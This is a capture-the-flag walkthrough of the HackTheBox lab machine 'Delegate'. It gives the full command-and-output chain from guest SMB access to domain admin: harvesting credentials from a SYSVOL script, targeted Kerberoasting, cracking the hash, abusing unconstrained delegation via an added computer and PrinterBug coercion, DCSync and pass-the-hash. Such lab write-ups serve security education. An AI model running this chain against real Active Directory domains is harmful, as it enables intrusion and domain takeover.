Delegate - VL
Delegate - Powers to low
Delegate, another VL box on HackTheBox. There is a BAT script with creds on an SMB share which can be used for further enumeration. This user has generic write over another user who has remote access. I’ll Kerberoast that user, crack the hash, and use the password to get a shell on the machine. Looking at the privileges of this user, SeEnableDelegation is enabled. I’ll add a computer and its DNS, then perform unconstrained delegation to achieve DA.
Recon
Nmap
Starting off with Nmap, and as always, a typical DC.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-09-16 02:07:31Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: delegate.vl0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: delegate.vl0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-09-16T02:08:20+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC1.delegate.vl
| Not valid before: 2025-09-15T01:56:49
|_Not valid after: 2026-03-17T01:56:49
| rdp-ntlm-info:
| Target_Name: DELEGATE
| NetBIOS_Domain_Name: DELEGATE
| NetBIOS_Computer_Name: DC1
| DNS_Domain_Name: delegate.vl
| DNS_Computer_Name: DC1.delegate.vl
| DNS_Tree_Name: delegate.vl
| Product_Version: 10.0.20348
I’ll generate the hosts file and krb5 via NetExec. (as always)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
➜ Delegate nxc smb 10.129.234.69 --generate-hosts-file hosts
SMB 10.129.234.69 445 DC1 [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:False) (Null Auth:True)
➜ Delegate nxc smb 10.129.234.69 --generate-krb5-file krb5.conf
SMB 10.129.234.69 445 DC1 [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:False) (Null Auth:True)
➜ Delegate cat hosts | sudo tee -a /etc/hosts
10.129.234.69 DC1.delegate.vl delegate.vl DC1
➜ Delegate cat krb5.conf | sudo tee krb5.conf
[libdefaults]
dns_lookup_kdc = false
dns_lookup_realm = false
default_realm = DELEGATE.VL
[realms]
DELEGATE.VL = {
kdc = dc1.delegate.vl
admin_server = dc1.delegate.vl
default_domain = delegate.vl
}
[domain_realm]
.delegate.vl = DELEGATE.VL
delegate.vl = DELEGATE.VL
SMB
Looking through SMB, I have guest access.
1
2
3
➜ Delegate nxc smb 10.129.234.69 -u 'iwannadie' -p ''
SMB 10.129.234.69 445 DC1 [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB 10.129.234.69 445 DC1 [+] delegate.vl\iwannadie: (Guest)
But there is no interesting share by name, although SYSVOL
often contains scripts, and on this box it does contain one.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
➜ Delegate smbclient //10.129.234.69/SYSVOL -c "cd delegate.vl;ls"
Password for [WORKGROUP\simon]:
. D 0 Sat Aug 26 09:45:45 2023
.. D 0 Sat Aug 26 09:39:25 2023
DfsrPrivate DHSr 0 Sat Aug 26 09:45:45 2023
Policies D 0 Sat Aug 26 09:39:30 2023
scripts D 0 Sat Aug 26 12:45:24 2023
4652287 blocks of size 4096. 1011528 blocks available
➜ Delegate smbclient //10.129.234.69/SYSVOL -c "cd delegate.vl;cd scripts; ls"
Password for [WORKGROUP\simon]:
. D 0 Sat Aug 26 12:45:24 2023
.. D 0 Sat Aug 26 09:45:45 2023
users.bat A 159 Sat Aug 26 12:54:29 2023
4652287 blocks of size 4096. 1011497 blocks available
Auth as A.Briggs
I’ll download it. -c
is very useful for quickly executing commands and saving time.
1
2
3
smbclient //10.129.234.69/SYSVOL -c "cd delegate.vl;cd scripts; get users.bat"
Password for [WORKGROUP\simon]:
getting file \delegate.vl\scripts\users.bat of size 159 as users.bat (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)
users.bat
1
2
3
4
5
rem @echo off
net use * /delete /y
net use v: \\dc1\development
if %USERNAME%==A.Briggs net use h: \\fileserver\backups /user:Administrator P4ssw0rd1#123%
- Deletes all existing network drive mappings.
- Maps
V:
to\\dc1\development
, and if the logged-in user isA.Briggs
, mapsH:
to\\fileserver\backups
using the specified admin credentials.
Shell as N.Thompson
The creds for A.Briggs work. I’ll collect BloodHound data with bloodhound-ce-python
, which is the best choice for BloodHound-CE (Docker).
Install it using uv
uv tool install git+https://github.com/dirkjanm/BloodHound.py.git@bloodhound-ce --with ldap3-bleeding-edge
It’s easy to work around with env vars then to retype everything over and over again.
1
2
3
4
export U=A.Briggs \
export P=P4ssw0rd1#123 \
export DOMAIN=delegate.vl \
export IP=10.129.234.69
Now I’ll collect it and loaded it up in BloodHound-CE Docker.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
➜ Delegate bloodhound-ce-python -u $U -p $P -c All -d $DOMAIN --nameserver $IP --zip
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: delegate.vl
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc1.delegate.vl
INFO: Testing resolved hostname connectivity dead:beef::9dba:77e0:b5ca:7788
INFO: Trying LDAP connection to dead:beef::9dba:77e0:b5ca:7788
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc1.delegate.vl
INFO: Testing resolved hostname connectivity dead:beef::9dba:77e0:b5ca:7788
INFO: Trying LDAP connection to dead:beef::9dba:77e0:b5ca:7788
INFO: Found 9 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC1.delegate.vl
INFO: Done in 00M 44S
INFO: Compressing output into 20250921113303_bloodhound.zip
Looking through bloodhound data, User A.Briggs has generic write over N.Thompson. I’ll perform targetedKerberoast.
1
2
3
4
5
6
7
8
9
➜ Delegate python3 /opt/targetedKerberoast/targetedKerberoast.py -v -d $DOMAIN -u $U -p $P
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[VERBOSE] SPN added successfully for (N.Thompson)
[+] Printing hash for (N.Thompson)
$krb5tgs$23$*N.Thompson$DELEGATE.VL$delegate.vl/N.Thompson*$9f7729a3a5f6a6f8368ad0a67d56d22c$39b2e4d82585ac014c17acb54e6e1ddb3b7230b03984de395c7b9854184b7bc5cfaf345f927536d95359155c23cd6620c5f0e2fec2c8c72649a39edb6046b9709cddf9fdd60b622f98df571e38fa713ef948eecc262075de5e9c05e22d810d6eb989cee16c6a78e54d048cc2fa0f7324fd52735071e25960aff6525f82aefbc951f3cfb6f8a95caa74e22f2cb5cd2050ed9e043134d2b5415bc1865221bf4e2576d500161286315c0b29fbb72968b60a0d3234fb9cf8c864e962b6f39060245c71f3114a9364ad62d36dda265fe34985a929514b2ffab16fa4faeecea1a3223f5b09db94bd4ce58bca0a76874c926475b30e85f9c240c37004f7e89ebebd206563251ce56f5a30124e47110ff08b6410d064ace01e2c480d06390daa234b8a2f67aff1a9a6c2829d899f39186c6db8c5063d56f947768ec4b18af7ff75f33f4daa190155e7189a27ae3341eb4a92c325110df1b75ce14e7cb7e2f9488b141d3a481fb201aa4055b817e81b36eed2be5e33943b08bd6d2571be7cd022e4fc6cbb7c93b44870608bf8e91afa289176999961e4f4c574f8a7845bee8ff04a8c5519bbf9bc1ce8f55557b82a80098a0e2f19b51f2f3fe114c6a12b6ac55d85d03e46f1bd22ae6520efef55e0a7d79b85a828cccdba908e05d8a3833a5b20a86627dcb9a0019ff1186d0de9485b84e92ddf24563c6fdab91758d89e5fc5894c9f6feb84b176992230b7b0bc63d69e592181184f38b758c23252a8c1f30595fde785bd27a8d9839b2aa1ab9dceefc5c267e7bec9bc95a6b8075dcc65777c2f6e202a5c8074501ef25a12738a630272adffe948b9cb6db15444b975d0bd5dfe60c22130627f256b1c5673e184bdcd86660589f911931211d618854438d946bc4542f8eab46f347a1c241647ee81cfea06203f538fb1985fe2b9adeaec8eb846151fc28af77e3bb844f55627ead7d4701fa533de662ca04a19bf7c7ada9c2ddb9077a7aa2b902899002fe7374ba8dbcd600a3c324ad979feb2e206144d9f6e322f727197a86180ad12e0794270efb4faddbfcd94e5fdd878ef59c235a4453eadad9ac3ea1dfb250c21befa7e3691c225220b0b34bcf782b7a0479cf8f4385ac929c86106dc486ba403f02fb298bfd2fbcb84b3f609a3003b54ea00da768c190ecb861d69965d4272cad4ff8428054619019c7a36f5fbcbf151ee8b456994986025a109d3b6e5908cb99c81fcc3f53759c3a5f7b440ee4b68f8fd26a78f7d0230eadd464c961f21b41973b68a2a9fb4fdfa25b12041884dffd9a322b6839b549402411268f3c477824b8d5f42556838e7c9669c6400b74461c49c45d945da9955cb422baafcc9f8601db921a8f5cebffdcd6bfacdb26625a74e6d6db8d6b2cf936818d9af65900004ff33b99794aad0449c477c95cd97ea441d51eff0eb5b604423979e139f5d078c
[VERBOSE] SPN removed successfully for (N.Thompson)
➜ Delegate echo "KRB_HASH" > NThompson.hash
I’ll crack it with John, on fork of 4.
1
2
3
4
5
6
7
➜ Delegate john NThompson.hash -w=/usr/share/wordlists/rockyou.txt --fork=4
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
<SNIP>
KALEB_2341 (?)
<SNIP>
Session completed.
This user can winrm onto the machine.
1
2
3
➜ Delegate nxc winrm 10.129.27.196 -u N.Thompson -p KALEB_2341
WINRM 10.129.27.196 5985 DC1 [*] Windows Server 2022 Build 20348 (name:DC1) (domain:delegate.vl)
WINRM 10.129.27.196 5985 DC1 [+] delegate.vl\N.Thompson:KALEB_2341 (Pwn3d!)
I can get a shell and read the user flag.
1
2
3
4
5
6
7
➜ Delegate evil-winrm -i delegate.vl -u N.Thompson -p KALEB_2341
Evil-WinRM shell v3.7
<SNIP>
*Evil-WinRM* PS C:\Users\N.Thompson\Documents> type ..\Desktop\user.txt
0d1bae66ba37ed4a........
Shell as Administrator
Thompson has SeEnableDelegationPrivilege
, which I was not familiar with.
1
2
3
4
5
6
7
8
9
10
11
*Evil-WinRM* PS C:\Users\N.Thompson\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================================================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
I abused it on this box for the first time. Google search reveals:
The SeEnableDelegationPrivilege is a Windows user right that allows a user or computer account to be trusted for unconstrained Kerberos delegation. This highly sensitive privilege can be exploited by attackers to compromise Active Directory accounts and elevate their privileges, potentially taking control of the entire domain.
There are mainly three types of delegations:
Constrained Delegation
- Privilege needed:
SeEnableDelegationPrivilege
on the user or computer account. - Attributes required:
TRUSTED_TO_AUTH_FOR_DELEGATION
set on the service/computer account. - Behavior: The machine/service can request Kerberos tickets on behalf of specific users for designated services only.
Unconstrained Delegation
- Privilege needed:
SeEnableDelegationPrivilege
on the user or computer account. - Attributes required:
TRUSTED_FOR_DELEGATION
set on the machine/service account. - Behavior: The machine/service saves TGTs of any user that authenticates to it in memory, allowing full impersonation for any service.
Resource-Based Constrained Delegation (RBCD)
- Privilege needed: None explicitly on the delegated account.
- Attributes required:
msDS-AllowedToActOnBehalfOfOtherIdentity
set on the target computer account. - Behavior: The target machine allows a specified computer account to request Kerberos tickets to act on behalf of any user to that machine.
For constrained delegation, we don’t have control over a computer. For unconstrained delegation, the maq
is 10, which means I can add a computer and give it permissions to delegate. RBCD isn’t a thing here.
Unconstrained Delegation
Looking around for unconstrained delegation with this privilege, first I would have to add a computer and DNS record, then coerce the DC to authenticate to this newly added computer, capture the TGT, and dump the hashes to get admin. There is a detailed article about it by the creator of the very tool I’m going to use:
https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/
The machine quota is 10 which means I can add a computer.
1
2
3
4
5
➜ Delegate nxc ldap 10.129.27.196 -u N.Thompson -p KALEB_2341 -M maq
LDAP 10.129.27.196 389 DC1 [*] Windows Server 2022 Build 20348 (name:DC1) (domain:delegate.vl) (signing:None) (channel binding:No TLS cert)
LDAP 10.129.27.196 389 DC1 [+] delegate.vl\N.Thompson:KALEB_2341
MAQ 10.129.27.196 389 DC1 [*] Getting the MachineAccountQuota
MAQ 10.129.27.196 389 DC1 MachineAccountQuota: 10
First I’ll add a computer named TCS$
.
1
2
3
4
➜ Delegate impacket-addcomputer -computer-name 'TCS$' -computer-pass 'tcs123' -dc-ip $IP 'delegate.vl/N.Thompson:KALEB_2341'
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Successfully added machine account TCS$ with password tcs123.
Now for this computer to be able to perform I’ll need to set TRUSTED_FOR_DELEGATION
flag to this computer which I can do due to the SeEnableDelegationPrivilege
the user Thompson has already.
1
2
3
➜ Delegate bloodyAD -d delegate.vl -u N.Thompson -p KALEB_2341 --host dc1.delegate.vl add uac 'TCS$' -f TRUSTED_FOR_DELEGATION
[-] ['TRUSTED_FOR_DELEGATION'] property flags added to TCS$'s userAccountControl
Next up, I’ll need to add DNS record which I can via the dnstool.py
from the krbrealyx
repo.
1
2
3
4
5
6
➜ Delegate python3 /opt/krbrelayx/dnstool.py -u 'delegate.vl\N.Thompson' -p KALEB_2341 -r fake.delegate.vl -a add -t A -d 10.10.14.9 $IP
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully
After that I’ll have to add spn to the computer, I can do that via another tool provided in the krbrelayx
toolkit called addspn.py
.
1
2
3
4
5
6
7
8
9
10
11
12
➜ Delegate python3 /opt/krbrelayx/addspn.py -u 'delegate.vl\N.Thompson' -p KALEB_2341 -s 'cifs/fake.delegate.vl' -t TCS$ -dc-ip $IP DC1.delegate.vl --additional
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully
➜ Delegate python3 /opt/krbrelayx/addspn.py -u 'delegate.vl\N.Thompson' -p KALEB_2341 -s 'cifs/fake.delegate.vl' -t TCS$ -dc-ip $IP DC1.delegate.vl
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully
Now I need to convert the password of computer into NT hash. I can do that with pypykatz
.
1
2
➜ Delegate pypykatz crypto nt 'tcs123'
8863a1bd0e729f2e107bfba0aabb38ff
All is set up now. I need to coerce the DC to connect to this computer, and on another screen, run krbrelayx.py
to capture the DC TGT.
For that, I would have to coerce it using PrinterBug or any other method, I can check that with coerce_plus
module of NetExec.
1
2
3
4
5
6
7
8
➜ Delegate nxc smb $IP -u 'TCS$' -p 'tcs123' -M coerce_plus
SMB 10.129.27.196 445 DC1 [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB 10.129.27.196 445 DC1 [+] delegate.vl\TCS$:tcs123
COERCE_PLUS 10.129.27.196 445 DC1 VULNERABLE, DFSCoerce
COERCE_PLUS 10.129.27.196 445 DC1 VULNERABLE, PetitPotam
COERCE_PLUS 10.129.27.196 445 DC1 VULNERABLE, PrinterBug
COERCE_PLUS 10.129.27.196 445 DC1 VULNERABLE, PrinterBug
COERCE_PLUS 10.129.27.196 445 DC1 VULNERABLE, MSEven
Make sure you have the latest version of Impacket.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
> ➜ Delegate uv venv
> Using CPython 3.12.11
> Creating virtual environment at: .venv
> Activate with: source .venv/bin/activate
> ➜ Delegate source .venv/bin/activate
> (Delegate) ➜ Delegate uv pip install impacket
> Resolved 21 packages in 5.33s
> Prepared 1 package in 105ms
> Installed 21 packages in 259ms
>
> * blinker==1.9.0
> * cffi==2.0.0
> * charset-normalizer==3.4.3
> * click==8.3.0
> * cryptography==42.0.8
> * dnspython==2.8.0
> * flask==3.1.2
> * impacket==0.12.0
> * itsdangerous==2.2.0
> * jinja2==3.1.6
> * ldap3==2.9.1
> * ldapdomaindump==0.10.0
> * markupsafe==3.0.2
> * pyasn1==0.6.1
> * pyasn1-modules==0.4.2
> * pycparser==2.23
> * pycryptodomex==3.23.0
> * pyopenssl==24.0.0
> * setuptools==80.9.0
> * six==1.17.0
> * werkzeug==3.1.3
I’ll use the PrinterBug to trigger it.
1
2
3
4
5
6
➜ Delegate nxc smb $IP -u 'TCS$' -p 'tcs123' -M coerce_plus -o LISTENER=fake.delegate.vl METHOD=PrinterBug
SMB 10.129.27.196 445 DC1 [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB 10.129.27.196 445 DC1 [+] delegate.vl\TCS$:tcs123
COERCE_PLUS 10.129.27.196 445 DC1 VULNERABLE, PrinterBug
COERCE_PLUS 10.129.27.196 445 DC1 Exploit Success, spoolss\RpcRemoteFindFirstPrinterChangeNotificationEx
It says that Exploit Success
and on the other terminal pane there is DC’s TGT.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
(Delegate) ➜ Delegate sudo $UV run /opt/krbrelayx/krbrelayx.py -hashes :8863A1BD0E729F2E107BFBA0AABB38FF
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client SMB loaded..
[*] Running in export mode (all tickets will be saved to disk). Works with unconstrained delegation attack only.
[*] Running in unconstrained delegation abuse mode using the specified credentials.
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up DNS Server
[*] Servers started, waiting for connections
[*] SMBD: Received connection from 10.129.27.196
[*] Got ticket for DC1$@DELEGATE.VL [[email protected]]
[*] Saving ticket in DC1$@[email protected]
[*] SMBD: Received connection from 10.129.27.196
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'
[*] SMBD: Received connection from 10.129.27.196
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'
Nice, I have the machine TGT which is a valid one and I can DCSync to dump the administrator’s hash.
1
2
3
4
➜ Delegate export [email protected]
(Delegate) ➜ Delegate netexec smb 10.129.27.196 --use-kcache
SMB 10.129.27.196 445 DC1 [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB 10.129.27.196 445 DC1 [+] DELEGATE.VL\DC1$ from ccache
Rather then typing the long command for secretsdump.py
I can just use --ntds
flag with netexec and save time.
1
2
3
4
5
(Delegate) ➜ Delegate netexec smb 10.129.27.196 --use-kcache --ntds
<SNIP>
SMB 10.129.27.196 445 DC1 [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB 10.129.27.196 445 DC1 Administrator:500:aad3b435b51404eeaad3b435b51404ee:c32198ceab4cc695e65045562aa3ee93:::
<SNIP>
I can use evil-winrm to get a shell and read the root flag.
1
2
3
4
5
6
7
8
9
10
➜ Delegate evil-winrm-py -i 10.129.27.196 -u administrator -H c32198ceab4cc695e65045562aa3ee93
_ _ _
_____ _(_| |_____ __ _(_)_ _ _ _ _ __ ___ _ __ _ _
/ -_\ V | | |___\ V V | | ' \| '_| ' |___| '_ | || |
\___|\_/|_|_| \_/\_/|_|_||_|_| |_|_|_| | .__/\_, |
|_| |__/ v1.4.1
[*] Connecting to '10.129.27.196:5985' as 'administrator'
evil-winrm-py PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
40f63f575b927eafa76464d7374a9d8b
Thanks for reading the writeup. This was the first-ever box where I learned delegation-related techniques.